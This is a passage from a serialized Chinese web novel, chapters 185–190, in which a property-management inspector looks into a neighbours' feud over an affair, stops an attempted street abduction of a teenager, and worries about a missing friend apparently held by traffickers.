跟刘国锋分开以后，我并没有马上回住处，我想自己在园区里好好看看，熟悉一下情况，也顺便找一找可以解决问题的线索。 龙江苑很大，基本上都是高层，顶楼都在33层左右，而且空间较密集，楼和楼中间的间距很小，看着周围高楼林立，觉得压抑。 这样的楼盘风水，并不是很好，尤其赶上运势不佳时期，肯定会有口舌之争。 路过一处条幅的位置，我详细看了看条幅的材质和字迹，像是在复印社制作的，并不是自己写上去的。 复印社一定能知道一些内情，会不会就是园区周边的复印社呢？ 想到这，我扯下一块条幅，卷好了，往园区外走去。 龙江苑外围的商业业态蛮健全的，各色餐饮、培训机构、幼儿园、五金商店......几乎都有。 我寻找着复印社，确实，复印社并不多，不过这也挺好，省去了很多询问的时间。 能走出两条街吧，看到了一家门脸还比较大的复印社，我准备进去看看。 可是一进门，就闻到了熟悉的酒味，这边的人都是这个生活习惯吗？白天喝酒。 “老板？有没有人在？”我喊。这复印社里空荡荡的，没见到人。 “哎，来了！稍等我一下。”是个女人的声音。 于是我在屋里找了个位置坐下，四下打量着，这复印社确实不小，光复印机就四台，还有几台电脑，好几台打印机。 正打量着，从里面传出了穿着拖鞋走路的声音，还有熟悉的酒味越来越近。 金老师？太巧了吧！ 我看到金老师的时候，他也看到了我，他很诧异的瞅着我，好像在怀疑我是不是跟踪他。 这时候不能让他看到我手里的条幅，于是我偷偷的把条幅往袖口里塞了塞。 “金老师，您这是来复印啊？”出于礼貌我先和他打招呼。 “嗯。”他从鼻孔里发出一声。 还没等我再问话，里边出来个女人，很热情的问我：“你要办什么？复印还是打印？” 这女人长相很娇媚，年轻，皮肤很白，就站在金老师旁边和我说话，直觉告诉我，这两个人认识，而且还很熟。 因为他们站的位置，不自觉的贴近，这女人后出来的，但是没有向我多走几步，而是只走到金老师旁边就站住了。 “他是物业的。”金老师小声跟复印社的女人说。 那女人狐疑的看看金老师，又看看我，问：“物业的？来我这劝他？你们物业也太尽职了吧！” 第一百八十五章 人脑袋打出狗脑袋 “你回去吧，他不想和你们聊，钟良不出来，和解不了。我这还得营业呢，别在这影响我做生意了，走吧。”那女的劝我离开。 金老师也对我横眉立目的，我一看，谁制作的条幅已经很清楚了，走就走吧。 跟一个酒精上脑的人也是聊不出个道理的。 出了复印社，我的脑海里画满了问号，这个女的是金老师的亲戚？帮着金老师出主意的？ 钟良不出来肯定是怕金老师报复，但是不可能实现一直不出现啊。 除非他不在这里住了。 这个奸夫，自己做了好事，自己先躲起来了，把自己的家人扔在最前线，也不怕她们受牵连。 对啊，我可以先先找事主的女人聊一聊啊，说不定能找到突破口呢！ 我记得刘国锋说，金老师的媳妇叫刘楚嫣，刚才去金老师家的时候，屋里也不像还有别人的样子，去哪找这个刘楚嫣？ 还是先去找钟良的爱人吧，她应该还在，碰碰运气。 我又回到龙江苑，重新来到金老师家所在的楼层，去敲金老师对门的门。 也是敲了好半天，里面有个女人的声音问：“谁呀？你找谁呀？” “业主，您开下门，我是物业的。”我回答。 “物业的？来找我有什么事吗？对门的事我管不了，我也是受害者。”里面的女人说。 “您放心，不是让您管，我是来帮您解决问题的。”我很诚恳的说。 能有个两分多钟没什么动静，跟着门被打开了一条小缝，我看到一张憔悴又疲惫的脸，这个人的精神状态一定很不好。 “业主，您没事吧？您的脸色很苍白。”我急切的问。 里面的女人听我先关心她的身体状态，有点意外，然后带着期待问：“你能帮我解决什么问题？” “我能帮你停止这出闹剧，让你和你的孩子回归正常生活。”我说。 里面的女人眼神闪烁，一亮一亮的，看着好像在哭。 “你进来吧，看你跟其他人不太一样。”屋里的女人打开了门的防盗链。 进门之后，我一看这家里面好像刚刚被砸过似的，有个角落里还有几片碎玻璃。 “业主，您是钟良的爱人吧？您现在自己住这里呢？”我问。 女人点点头，说：“不然怎么办呢？我没处去，孩子在附近上学。” 原来如此，“您孩子多大了？”搞这么大阵势，对孩子的影响很不好呀。 “他上小学四年级，每天走到园区里，看到条幅，都问我上面写的是不是他爸爸？他爸爸是不是犯了什么错误？”钟良的老婆开始抹眼泪。 “而且还要时刻提防对门来砸门泄愤，每一次他来，孩子都吓得不行。” 我特别能理解她的心情，我又问：“钟良呢？去哪里了？” 能把老婆孩子扔在这独自承受他犯下的恶果，这个男人真的是不咋地！ “他怕挨打，去 他妈家躲着了。” 行嘞，果然如此，只顾自己，自己老婆孩子都不管不顾了。 “业主，实不相瞒，我是物业公司上面派过来视察的，还没人跟我说过这件事到底是怎么发生的，您能不能给我讲一讲，我也好知道如何下手帮你。”我说。 钟良的老婆明白过来，点点头，开始给我讲了来龙去脉。 这个金老师是附近中学的优秀教师，白天晚上的忙，工作时间学校授课，休息时间自己又在外面开补课班补课。 因为他教得好，远近闻名，所以他的培训班很火，学生很多，他自己忙的家里的事情都顾不上。 家里有个大事小情的，金老师的爱人刘楚嫣都是到对门钟良家求助。 钟良两口子也是热心肠，基本上都是有求必应。 一来二去的，两家的关系处的特别好，还经常约在都休息的时候，一起去公园野餐，带着孩子一起去短途旅游。 钟良的爱人是个粗线条的人，生活中只有柴米油盐和相夫教子，根本就没发现任何刘楚嫣和自己丈夫有问题的迹象。 那是一天早上，她还在睡梦中，就听见对门有女人不是好声的哭喊，那声音之大，有点渗人。 她赶紧摇醒钟良，让钟良听，“老钟，难道是金老师两口子打起来了吗？金老师不像会家暴的呢！” 钟良也听到了声音，但是他心里有鬼，他很担心是不是事情败露了，所以他老婆让他去看看的时候，他磨蹭着不愿意去。 钟良老婆再一次告诉钟良去看看的时候，自己家的门响了，而且是被拍的震天响，给她吓了一跳，这是怎么了？ “钟良，你这天杀的，你给我出来！敢勾引我老婆，你给我出来！”是金老师。 钟良的老婆不可置信的看看自己的丈夫，钟良竟然没有解释的意思，而且那个神情，夫妻这么多年了，她太了解了，肯定是实锤。 “你怎么可以做出这种事？你怎么对得起我？”钟良老婆也爆发了。 钟良只稍稍忍了一小会儿，就推开她：“你别跟着添乱行不行？”说完就回到里间收拾衣物。 “你干什么？”钟良老婆问。 “我去我妈家躲几天，金辉这个人神经有问题，经常虐待自己老婆，我可不能在家等着他跟我硬刚，会出人命的！”钟良一刻也没迟疑的收拾。 “你和刘楚嫣到底怎么回事呀？谁先勾引谁的？到了什么程度？你必须和我说清楚！”钟良老婆不让他走。 “他说什么就是什么，什么什么程度？啥也不是，全是误会！”钟良轻描淡写的说。 钟良老婆哪能听这么几句就算完呢，尤其外面敲门的金老师根本没有放弃过喊叫。 那些不入耳的词语让她心惊，心凉，自己丈夫的反应让她心寒。 “你出去顶一顶，等他回屋了，我赶紧走。”钟良说。 “我出去顶？我怎么顶？”钟良老婆问。 “哎呀，你赶紧的吧，他说什么你就安慰呗，把他哄进去就行。”钟良有些气急败坏。 钟良的老婆看看被吓醒的孩子，别无选择，只能这么办。 她把门的保险链挂上以后，开了门，门开后，顺着门缝能看到走廊的情况，给她吓了一跳。 在她家门前，赫然跪着刘楚嫣，脸上有伤，头发全都乱蓬蓬的，穿着家居服跪在那里无声的哭。 “钟良呢？你让他出来！”金辉看到对面终于开了门，直接就逼问。 第一百八十六章 她不是我妈，我妈死了 “金大哥，我们家老钟没在，出什么事了？怎么让楚嫣跪在这里啊？有话好好说。”钟良老婆安抚。 “你这个女人，你是不是傻的？你老公出轨，你竟然不知道？你赶紧给我开门！这么早他不在家，我不信！”金老师还是不停的大喊。 “他真的不在，昨晚上就没回来。”钟良老婆扯了个谎。 金老师还是没有罢休的意思，“好，不在是吧，我豁出去今天不上班了，我就看他出不出来！” 跪在地上的刘楚嫣听到金老师这么说，哇的一声大哭起来，嚷着说：“你不想好了是吧？你也不让我好了是不是？” “啪！”一个耳光毫不犹豫的就扇了过去，钟良老婆吓的一激灵，忘了屋里钟良的嘱托，赶紧开了门。 “金大哥，你别打人啊！”说完还去搀扶刘楚嫣。 金老师根本没搭理这两个女人，看到门开了，眼睛一红就冲了进去。 “钟良，你给我出来！你敢做不敢当你！” 钟良老婆一看金老师冲进去了，慌了，才想起来钟良的嘱咐，赶紧也跟了进去。 钟良早就有所准备，藏在卫生间里，看到两个人进了里屋，赶紧从卫生间出来就从正门出去了。 结果自然的，金老师扑了个空，只看见钟良的孩子在屋里吓得直哭。 这一出闹剧，以钟良的消失而告一段落，但是却未彻底结束，金老师每隔几天就来找钟良，有一次还喝了酒，把房间里能砸的东西都砸了，直到警察来了才罢手。 钟良老婆和孩子因为这事受了些许刺激，只要听见对面门有动静，就立刻警觉起来。 刘楚嫣也在一次次的打骂和折磨下，搬回了娘家，带走了孩子。 然而，当事人都不在，却不是什么好办法，金老师的怒火没处发泄，就开始折磨自己。 每天都喝的烂醉，喝完酒就在屋里大喊大叫，过来钟良家敲门更是常事儿，时间一久，连物业都不爱来劝了，还时不时的流露出这是她丈夫应该承受的结果的想法。 钟良老婆讲完全部，我沉默了，刘国锋很明显的，自己处理不了了，也开始给最弱者施加压力，选择能躲就躲。 怪不得两家业主都不相信物业，物业在这件事里确实没有体现出什么价值。 “业主，您为什么不跟你老公谈谈，让他跟金老师见一面呢？”我问。 “说过很多次了，他说他如果回来，就会激化矛盾，指不定演化出什么恶果。” “那每天你跟孩子在这承受这些也不是长久之计，警察怎么说的？” “我们现在每周的周末都回我妈家，警察拘留过金老师一次，放出来了还这样，除了再拘留还有什么办法！”钟良老婆呈现出无奈的疲惫感。 “听我说，保护自己和孩子，这是你的权利，不要太懦弱，由着他来家里砸，做错事的不是你，明白吗？”我提醒她。 钟良老婆听我说完这句话，竟然哇的一声大哭起来，抽噎着说：“可是、我、我们也很害怕！” “这是我的手机号码，你留着，再有苗头，马上给我打电话，我过来！”我递给钟良老婆一张名片。 钟良固然不对，但是与人家妻儿何干！这种行为为我所不耻。 钟良老婆感激的看看我，点点头。 “你知道刘楚嫣的娘家在哪吗？或者他们孩子在哪上学？我想去跟她聊聊。”我问。 钟良老婆听到刘楚嫣的名字，明显的有些气愤，也是，在她的心里，这个女人不但破坏了她跟钟良的感情，还害的她和孩子没有安生日子。 “找她聊一点作用都不起，金老师现在只要是听见刘楚嫣的名字都能杀人，他这顶绿帽子就是刘楚嫣给做实的。”钟良老婆忿忿。 “在这件事上，刘楚嫣也没占到什么便宜，不但没有得到你老公的承认，自己还被家暴，这个园区里还有人不知道她这个行为的吗？名声也早已毁掉了，你也没必要再记恨。”我劝。 钟良老婆想了想，我句句说的都是事实，然后说：“她娘家就在金老师学校边上的园区，那个家属楼里，我给你地址。” 她给我写了地址，还写上了刘楚嫣的电 话。 有了这些就好办多了，我去会会刘楚嫣。 思来想去我选择去金老师孩子的学校等，没有给刘楚嫣打电话，也没有直接去家里。 金老师的儿子上小学五年级，肯定是会有家长接送的，碰碰运气吧。 其实很多时候我会想，到底是什么驱使金老师变成这么抓狂的一个暴力形象？ 难道就是这口恶气没出去？ 还是绿帽子一旦戴上就摘不下来的愤怒？ 我没有女朋友，这种感觉我换位思考也体味不到一点，我总是觉得，只要有了孩子，凡事都不能只考虑自己了，要不然生孩子干嘛呢？ 我拿着手机里钟良老婆给的刘楚嫣的照片，一连等了两三天，都没有看到人。 就在我准备放弃，还是选择打电话沟通的时候，出了一件事。 那天我提前到了学校蹲守，距离放学还能有一节课的时间，校园里有一些在上体育课的孩子。 我看着他们开心的跑玩，勾起我的回忆，想起我和王敬之小时候也这样玩过。 这时候围墙边的五六个小男孩吸引了我的注意，他们好像是在打架。 “小军，揍他！”随着一声令下，五个孩子一起打其中一个孩子。 我刚想喊一嗓子制止，谁知道被打的小孩那么勇，一个人奋力抵抗，而且下的都是狠手。 被他推倒的，他会狠狠踹一脚，被他打到的，捂着肚子蹲地上起不来。 这孩子怎么这么硬？ “你装什么装！你妈是破鞋！我爷爷就住在你们家小区，他们都说了，你妈妈勾引邻居，是破鞋！”那个喊口号的男孩气呼呼的喊。 被打的男孩明显气坏了，大声反抗着喊：“我没有妈！我妈死了！你给我闭上你的臭嘴！” 接着就跟发了疯一样的去打骂他妈妈的小孩。 我一看这哪行，这一下子肯定就给打坏了，扒着栏杆我就喊了一嗓子：“住手！小孩不学好，学打架！” 这一嗓子果然管用，几个孩子被吓住了，看到我以后，一哄而散，这时候放学铃声也响了。 第一百八十七章 离家出走 我的目光一直追随着那个说自己没有妈的孩子，直觉告诉我，他可能就是金老师的儿子。 他的特征很好记，脖子根单独留了一撮长头发，像个小辫子。 可是我一直盯到他出了校门，都没有看见像刘楚嫣的家长来接，这孩子自己上了校车。 糟了，难不成我要跟着这辆校车？ 我走到校车前，看了看车窗上写的几个站名，一个个的写下来。 直到校车启动，我打了一辆出租车，“师傅，跟着这辆校车。” “咋的？爷们儿，跟踪孩子呢？不放心孩子自己走啊？”出租车司机是个爱说话的男人。 “嘿嘿嘿，咋办呢？现在都是一家一个孩子，全家都不放心呐！”我随口说。 “正常，太能理解了，现在独生子女都这样。也不能怪家长，现在这些贩卖人口的也确实猖獗，前几天就这学校附近还丢了一个高中生呢！” “什么？高中生丢了？”我忽然就想起了许德生说的明叔，还有被带走的冯晶晶。 “对啊，你也觉得不可思议吧？可事实就是这样，你说都上高中了，啥不懂？就这么丢了，人没了！警察查监控都没发现线索。说这话已经丢了能有三四天了，估计肯定也没好了，一个女孩，唉！”出租车司机自顾自说着。 我的心里咯噔、咯噔的，这件事会不会跟明叔有关系？ 正想着，校车停了，那个男孩跟在另外两个小孩后面下了车。 “师傅，我也得下车了，多给你10块，谢谢你！”说完没等司机言语，我就打开车门下了车。 我跟在小男孩后面，他丝毫没有察觉，走了不到100米，到了一个园区门口，门口有个很瘦的女人在看着小男孩笑。 这，这是刘楚嫣？ 我赶快拿出手机，一边看照片，一边看真人，只能说是模样神似，不是很像。 不管了，碰碰运气吧。 “女士，您好！请等一下！”我跑过去喊。 那个女的站住了，回头看我，很疑惑的看着我，“你在喊我吗？” 这张脸跟照片上的人差的太多了，照片上的人脸蛋圆圆的，很健康，面前这个女人却干巴瘦，眼神也没有光。 “您是刘楚嫣吗？”我问道。 “你是谁呀？我不认识你呀！”瘦瘦的女人疑惑的看着我，手里紧紧的拉着小男孩。 “我是龙江苑物业的，来和您了解点情况。”我回。 “物业？跟我了解什么情况？我不会回去了，也没有什么可说的。”女人说完拉着小男孩就往园区里走，小男孩回头看了我一眼，眼神里带着仇视。 我组织了好多语言，都觉得苍白，喊不住人家，尤其我这身份，如果我是警察的话，也许能达到目的。 一筹莫展，我一屁股坐在园区门外的路基上，开始想这些没有头绪的问题。 此行从还没开始的时候就不顺利，不但搞丢了我师哥，现在这件事也进展维艰。 如果按照刘国锋的意愿，给我看看数据，就得让我走了。这几天我有意不出现，不知道他作何感想。 手机震动打断了我的思绪，是林翔来电。 “老林，什么指示？” “向荣，这几天王敬之和你联系了吗？”林翔问我。 “没有，音讯皆无。”我低落的回。 “我明天就到你那里，我们一起找。”林翔说。 “对了，老林，我今天听说这边有丢孩子的情况，是个高中女生，你可以联系这边的派出所问问情况啊，如果是跟明叔这些人有关系的话，这是一个突破口啊！”我不失时机的把这件事告诉了林翔。 “哦？确实是个有用的讯息，行，你等我吧。”林翔告诉我明天过来，我们结束了通话。 林翔要过来了，可是这边的工作一点进展都没有，这次可真的是不顺利。 路边坐了这么久，天色已经擦黑，我起身准备往回走，忽然看到园区里跑出来一个小孩，速度快的像风。 后面跟着一个女的，不停的喊着：“小宁，你别跑，跟妈回去！” 这不是金辉的老婆和儿子吗？ 这孩子这么跑太危险了，我凑准了时机，一个箭步冲上去抱住了奔跑的孩子。 “你放开我！放开我！”这孩子的性情是真烈，上来就对我拳打脚踢，一脚踢到了我的膝盖骨上，差点没给我疼晕过去。 “你是谁啊？放开我儿子！不然我报警了！”刘楚嫣也跟了上来。 “刘女士，是我，我不是坏人。你是小宁？园区外面车这么多，你可不能像刚才一样乱跑啊，太危险了！”我看着男孩说。 我把孩子放下，交给刘楚嫣，可是那男孩还是拼命挣扎，“放开我，我不跟她走，我讨厌她！我恨她！我要去找爸爸！” 我愣住了，看看刘楚嫣，刘楚嫣已经满脸泪水，一边哭一边说：“小宁，你也不要妈妈了？妈妈做错了事，很自责，可是妈妈是爱你的，妈妈恳求你的原谅，不要离开妈妈！” 这些话听的我心里好难受，可是那个孩子还是气鼓鼓的看着刘楚嫣。 “我不原谅你！你是个坏女人！坏女人！”孩子的话像一把刀，一下下的扎在刘楚嫣的身上。 刘楚嫣蹲在地上，无助的哭起来。 小宁也不挣扎了，他妈妈这种伤心欲绝的哭泣触动了他。 我也不知所措，这个女人，虽说是玩火者，但是这下场未免重了些。 附近的人听到了哭闹声，三三俩俩的围过来看，我拉住往我身后躲的小宁，示意他别怕。 “都散了吧，散了吧，管教孩子呢，有什么可看的！”我生气的说。 几个人一看，还有我这么个黑塔似的男人在，都识趣的转身离开。 刘楚嫣在听到有人过来的时候，极力的压抑着哭声，看到我拽住了孩子，驱散了看热闹的，情绪平静下来。 “同志，谢谢你。”刘楚嫣小声的跟我说。 她又看看男孩，然后像是下了很大决心一样的问我：“我能不能求你帮个忙？” 我很意外，我能帮她什么呢？ “您请说，能帮的我一定帮。”我回。 “小宁想他爸爸了，你能帮我把他送到金辉那里去吗？”刘楚嫣想了想又说：“他不愿意跟我待着，我怕他再偷跑出来，出现意外。让他去他爸那里吧，等好了一点，我再去接他回来。” 我看看眼神空洞的刘楚嫣，还有一脸倔强的小宁，为了孩子的安全，也只好如此。 “好，我答应你，一定把孩子送到金老师手里，放心吧。”我接下这个任务。 第一百八十八章 夜半救人 叫小宁的男孩紧紧的拉着我的手，也许是因为天黑的原因，他稍稍有点害怕。 我的心里还是五味杂神，尤其是刚才离开刘楚嫣的时候，我看见她呆呆的望着小宁的背影出神，孩子是她的精神支柱，现在孩子对她如此的排斥，她不会想不开吧？ 不管怎么说，先把小宁送到金辉那里再做定夺，而且还可以借着这个机会劝劝金辉。 “叔叔，你叫什么？我之前怎么没见过你。”所以说小孩子是很容易忘记烦恼的，他竟然主动开始跟我说话。 “叔叔叫吕向荣，新来的，你肯定没见过我。”我低头看看他，他的大眼睛里全是纯真。 因为两个地方实际相距不远，我们选择了步行，这个季节的傍晚，气温很适宜，所以我们走的倒也悠闲。 身边孩子的肚子咕噜噜的叫起来，我听了个一清二楚。 “小宁，你是不是还没吃饭？”我问。 “嗯，放学回家，妈妈的饭还没做好，我就出来了......”小宁低头说。 “正好，叔叔也没吃饭呢，我们先去吃点东西吧，你想吃什么？”我问。 小宁开心了，但是还是很有礼貌的问我：“叔叔，谢谢你，吃饭的饭钱我会让我爸爸给你的。” “先不说这个，先把肚子填饱要紧，吃饱了才有力气做事啊，对不对？”我问小宁。 小宁笑起来，重重的点头。 我选了一家面馆，吃面是我这些年走南闯北养成的习惯，孤身在外，一碗热气腾腾的面条绝对可以驱散身上的疲惫。 “小宁，吃面条可以吗？你爱吃面条吗？”我看着坐在我对面的小宁问。 “爱吃，我最爱吃妈妈做的手擀面，里面还会加鸡蛋、青菜，可好吃了！”小宁兴高采烈的跟我说。 这个孩子，刚才还那么大声的数落着自己妈妈，可是在他的回忆里，却全是妈妈的影子，等他长大懂事了，应该会后悔今天自己的行为吧。 我特意告诉后厨，给孩子的面条里加了鸡蛋，两碗香喷喷的面条端上来的时候，我和小宁开心的吃起来。 食物很好的满足了胃，解决了饥饿感，身体也舒展开了，大脑又可以正常思考。 “小宁，你很爱你爸爸？”我问。 小宁的面条吃完了，还在留恋的喝着汤，听见我问他，很认真的回答我是。 “那你跟你妈妈离开的这段时间，你爸爸有找过你吗？” 小宁放下手里的碗，情绪低落了，摇摇头。 我不愿意看到孩子不开心，于是赶紧说：“走吧，天已经黑了，我们快点回去吧。” 小宁点头，然后继续拉着我的手，我俩一起出了面馆。 出来的时候，天已经完全黑了，我注意到街对面停了一辆微型面包车，注意到它是因为这辆车很破旧，全部的玻璃窗都贴着黑黑的玻璃膜，前大灯亮着，尤其突兀。 这时候，旁边的巷子里拐出一辆自行车，骑车的像是一个孩子，背着大大的书包。 我和小宁跟自行车一个方向，一前一后的前行。 下意识回头的瞬间，我发现那辆面包车竟然缓慢的也向前滑行着，很明显是在跟着我们。 不对啊，我不认识谁啊，谁会在这里跟着我呢？ 又走了一会儿，前面的自行车越骑越快，跟我们拉开了距离，面包车也越过我们往前加速。 糟糕！它是在跟着前面的自行车。 我警觉起来，想起出租车司机说的丢孩子事件。 “小宁，快一点，跟上前边的自行车。”我拉着小宁加快了速度。 “叔叔，怎么了？你认识骑车的人吗？”小宁好奇的问。 “叔叔不认识，你认识吗？看他像是在附近上学的孩子。”我随口一问。 “他家是我们龙江苑的，之前上学放学的，我见过他。”小宁回。 我正思考的时候，面包车突然停下来，车门瞬间被打开，里面冲出一个彪形大汉，紧跑两步踹倒了自行车。 车上的孩子被突如其来的摔倒吓得一惊，喊了起来，小宁和我都被这突发情况吓住了。 彪形大汉抱起孩子就要往 车里塞，我反应过来大吼一声：“干嘛的你们！光天化日的抢人家孩子！” 那男的吓了一跳，明显是刚注意到身后还有行人。 他看我的时候，我也看清了他的长相，头发茂密、发际线很低，体育生身材，五官没有发育好，轮廓很不清晰，看着让人非常不舒服。 “放下他！我报警了！”说话间我已经赶到了面包车附近。 车里有人喊了一嗓子，“上车！” 彪形大汉撇下骑车的孩子，迅速钻进车里，然后那车飞驰而去，我记住了车牌号。 “孩子，你没事吧？怎么样了？”我赶紧去扶摔倒在地上的孩子。 是个男孩，年龄应该有14、5岁了，“叔叔，我没事，我、我想快点回家。” “行，叔叔也去龙江苑，跟我走吧，别怕！”我回。 那孩子看我还拉着一个小男孩，选择相信我，扶起自行车跟我往龙江苑走。 路上闲聊得知，这孩子是附近中学的，刚下晚自习骑车回家。 “你每天晚自习都是自己回去吗？”我问。 “对啊，每天都自己。家距离学校不远，骑车一会儿就到了。”孩子回。 “不远是不远，这个时间的话，现在这条路是很僻静的，还是不太安全。”我心有余悸。 这是遇到了我，如果没有遇到我，这孩子指不定给弄到哪去了。 不过，这帮贼怎么这么猖獗，竟敢当街抢人。 我安全的把男孩送到他自己家，跟他的家长说了晚上发生的事情，并嘱咐他们从明天开始务必要亲自接孩子放学。 家长听完之后对我连声称谢，孩子妈妈惊吓的不行，搂过孩子左看右看。 现在的坏人真的很过分，为什么要抢人家孩子呢！ 送小宁回家的时候，敲了很久的门，我都快放弃了，里面传来熟悉的拖鞋声。 “谁呀？这么晚了来敲门。”是金老师的声音。 “爸爸，爸爸快开门，是小宁回来了。”小宁开心的喊。 里面的声音明显快了起来，门打开后，是衣衫不整的金老师，我还纳闷呢，这个时间就睡觉了？ 余光扫到了门口的女鞋，屋里，有女人？ 第一百八十九章 王敬之的空消息 “怎么是你？你怎么和小宁在一起？”金老师把小宁拉进屋，很惊奇的看着我问。 “哦，你就当做是巧合吧，小宁想回来，他想你了。我这也算是任务完成，小宁，叔叔走了。”我低头看看小宁，也是想仔细看看那双女鞋。 没错，就是女鞋，而且从这鞋脱放的位置看，肯定不是刘楚嫣扔在家里的鞋。 “你回去吧，我就不让你进屋坐了，太晚了。”金老师下了逐客令。 “好。”我转身要下楼，听见小宁在身后跟我说再见。 屋里有别人，这个时候金老师是肯定不会和我聊任何的，只能再找时机。 从金老师家所在的单元楼出来，我的心里五味杂陈，这金老师还没离婚呢，就往家里带女人了？ 这女人是发生这件事之后认识的、还是早就认识了？ 据说他跟刘楚嫣之前的感情就一般，总是顾不上家的。 我好像找到了这件事的突破口，而且我也开始怀疑金老师的人品。 还有今晚这件偷孩子的事情，这事儿得跟警察说一下，让警察加强保护，以免发生无法挽回的恶果。 回到住处，翻来覆去睡不着，手机突然滴滴响了两声，是短信息。 这么晚了会是谁呢？ 我拿过手机一看，差一点兴奋的跳起来，是王敬之发的信息。 可是，发信人显示是王敬之，信息却是空的，什么内容都没有，怎么了？师哥这是什么意思？ 而且空信息一下子发了两条，这到底是什么意思呢？ 我努力的回忆着我们俩从小到大彼此讲好的全部暗语，空白信息的意思是什么呢？ 想不出来，我索性直接拨打王敬之的手机，提示已关机。 懵了！巨大的不安笼罩着我的神经。 师哥能这样做，肯定是在自己不能自由的环境中，很有可能还随时面临着危险。 他是不是已经跟冯晶晶遇到了？难道是在明叔手里？ 那帮人搞着贩卖人口的勾当，师哥很有危险啊！ 林翔啊！你快点来吧，我一分钟都安静不下来，盼着林翔快点到这里，然后一起去寻找王敬之。 前一晚没休息好，第二天到了物业办公室的时候，我的黑眼圈极重，疲惫的一直打呵欠。 “怎么？向荣，昨晚上没睡好吗？”刘国锋问我。 “这几天也没见你过来，是病了还是怎么？我也没敢去打扰你。”刘国锋又补充。 “噢，是的，有一点发烧，就没过来，今天好了才来的。”我不想告诉刘国锋这两天我去做了什么。 “我们这边跟你们北方不一样，气候相对潮湿，你可能是水土不服，要不要带你去医院看看？挂个点滴什么的。”刘国锋表示关心。 “不用了，刘哥。我们今天把你辖区的数据核对一下吧。”我想尽快把工作落下来。 “好，你都需要什么？” “你辖区一共12个楼盘，我需要看年度财务报表，每个楼盘的业户特征，有没有自拓经营，你先逐个给我讲一下。然后下一步带我到每一个楼盘都走一遍，就这么多。” 刘国锋听完我的任务布置，点点头说：“行，这些我都有，我一个一个给你讲。” 他打了一个电话，让对方把12个楼盘的数据发到他的邮箱，然后开始做准备工作。 趁他准备的当口，我问他：“刘哥，据说这两天附近丢了一个女高中生是吗？” “是，放学路上，家长就那么一天没接，就出事了。”刘国锋了解的挺清楚。 “丢了几天了？这附近以前丢过孩子吗？”我又问。 “哎呦，说这话应该丢了能有一个星期了吧。以前没有过，就最近才开始的，之前还丢过一个10岁左右的男孩呢，也没找到。”刘国锋回。 “什么？丢了2个孩子了！”我心想，再算上昨晚上那个，岂不是达到了三个？ 事态有点严重，这些人如果不抓住，以后会有更多的家庭遭到破坏。 “向荣，数据整理好了，有点多，你先自己看，有问题你再问我。我要去管片儿派出所参加个会，你就在这等我回来吧。” “行，你去忙吧。”我开始全神贯注的看数据。 南区的数据确实很好看，就连其中一个只有六栋楼的单元，费用达成都在95%以上。 但是自拓经营很少，跟西区一样，基本就没有。 我终于明白，为什么我管理的区域能拿第一了，我们那里自拓经营的费用都要赶上这边两个楼盘的物业收缴费了。 刘国锋一直没有回来，我却等到了林翔的电话，“向荣，给我你的位置，我去找你。” “老林，你这么快就到了！昨晚上发生了一件抢人的事情，等你到了我给你讲讲。” “抢人？什么抢人？”林翔很感兴趣。 “一句两句说不清楚，你按照我刚发的位置找过来就可以了。”我回。 等林翔到了龙江苑，跟我会和的时候，我才发现他拖着一个大行李箱。 “怎么着？不走啦？拿这么大箱子！”我问。 “一时半会儿走不了，必须做好打持久战的准备。”林翔回，然后又问我：“快，把抢人的事情跟我说一说。” 于是我把前后过程详细的讲了一遍，林翔问我是不是报了警。 “还没有，等着你来了以后，跟你一起去呢！”我回。 “向荣，如果我们需要画像，你还能想出那个彪形大汉的样貌吗？”林翔着急。 “能，肯定没问题，走吧，现在就去画像。”我跃跃欲试。 到了派出所，我汇报了昨晚的情况，又在警察的安排下，完成了画像。 林翔一直陪着我，看我走完了全部流程，然后问我：“你说王敬之昨晚给你发了信息？写的什么？” “什么都没写，是空消息，还发了两遍。” “空的？那你知道是什么意思吗？”林翔问我。 “我确实不知道，想破头也没想到空消息是我和王敬之说过的什么暗语。”我很懊悔。 “我们两个从小到大都没有过用空消息代表什么的习惯。”我回。 第一百九十章 丢失的小宁 “也许是不方便写什么，身边有别人看着，或者是，手机被藏起来了，趁没人刚拿出来要写，但是马上就来了人。”林翔推测。 确实，这些都有可能。 “老林，画像比对出结果了。”一位警官喊林翔。 我们俩赶紧走过去看，那个警官说：“这个人绰号大斌，是一个刑满释放人员，一年前出狱的，出狱后倒是没有什么不良案底和出警记录，但是他当初获刑就是因为走私。” “走私什么？”林翔问。 “电脑，电子产品，金额不小。”对比画像的警官回。 “老李，刚才和你反应的抢孩子事件，那边得严加巡逻了，昨晚上很危险，若不是这位兄弟在，恐怕那孩子就没了。”林翔说。 “是的，已经发布下去了，会增派人手。老林，这次你准备待多久？” “确定不下来，我刚才发给你的两个失踪人员照片，还得麻烦你多扩散，我这次也是得到线索，他们被拐带到了这里，我需要解救这两个人。”林翔回。 我知道他说的是王敬之和冯晶晶。 “好，没问题，交给我们吧，有消息我会通知你。”那个李警官说。 “对了，老李，我给你一个手机号，你得持续性监控机主的方位，因为手机经常关机，偶尔开机，昨晚上开机了，只有几分钟。”林翔把王敬之的手机号告诉了李警官。 李警官皱皱眉说：“开了一会儿就关了，经常是关机，怎么听着像在坏人堆里干活的卧底。” 林翔笑了，我却把这句话听到了心里，难道说王敬之现在打入敌人内部了？ 为了方便联络，林翔把住地定在我住的酒店，回去的路上，林翔跟我大致说了一下许德生供认的禁锢冯晶晶期间的一些事情。 自从丁有生和郑杰等人被抓后，许德生就开始了逃亡，他挟持着冯楠，期望用冯楠做挡箭牌，但是没想到在临市遇到了我，解救了冯楠。 他逃亡期间，把冯晶晶禁锢在东郊别墅，让自己手下看着，因为是许德生的亲戚，冯晶晶倒是没受过什么皮肉之苦。 但是一次冯晶晶偷偷登录自己的QQ，想跟王敬之求救的时候，泄露了东郊别墅，那一次我和王敬之救了林翔。 自从东郊别墅被警察查封之后，许德生的手下挟持着冯晶晶，跟许德生会了合。 许德生私下里干了不少违法勾当，从事黄色生意就是其中一个，也是因此结识了人贩子团伙的明叔。 当初在东郊别墅解救的几个女孩里，就有要跟明叔进行交易的人，因为被警察端了老窝，交易的“物品”没了，明叔就看中了冯晶晶，要求许德生用冯晶晶相抵。 许德生大势已去，也根本没办法跟明叔抗衡，只好断臂，把冯晶晶交给了明叔。 他们进行这些交易的时候，正是我在正阳大厦帮林皓的时候，王敬之在附近的网吧堵到许德生时，他们的交易已经谈成了。 那天许德生拼命奔逃，躲的就是王敬之，王敬之冒充接头人，把许德生给骗了，还抢走了装有账目的u盘。 “老林，听你的意思，你认为王敬之目前并没有人身危险，对吗？”我问。 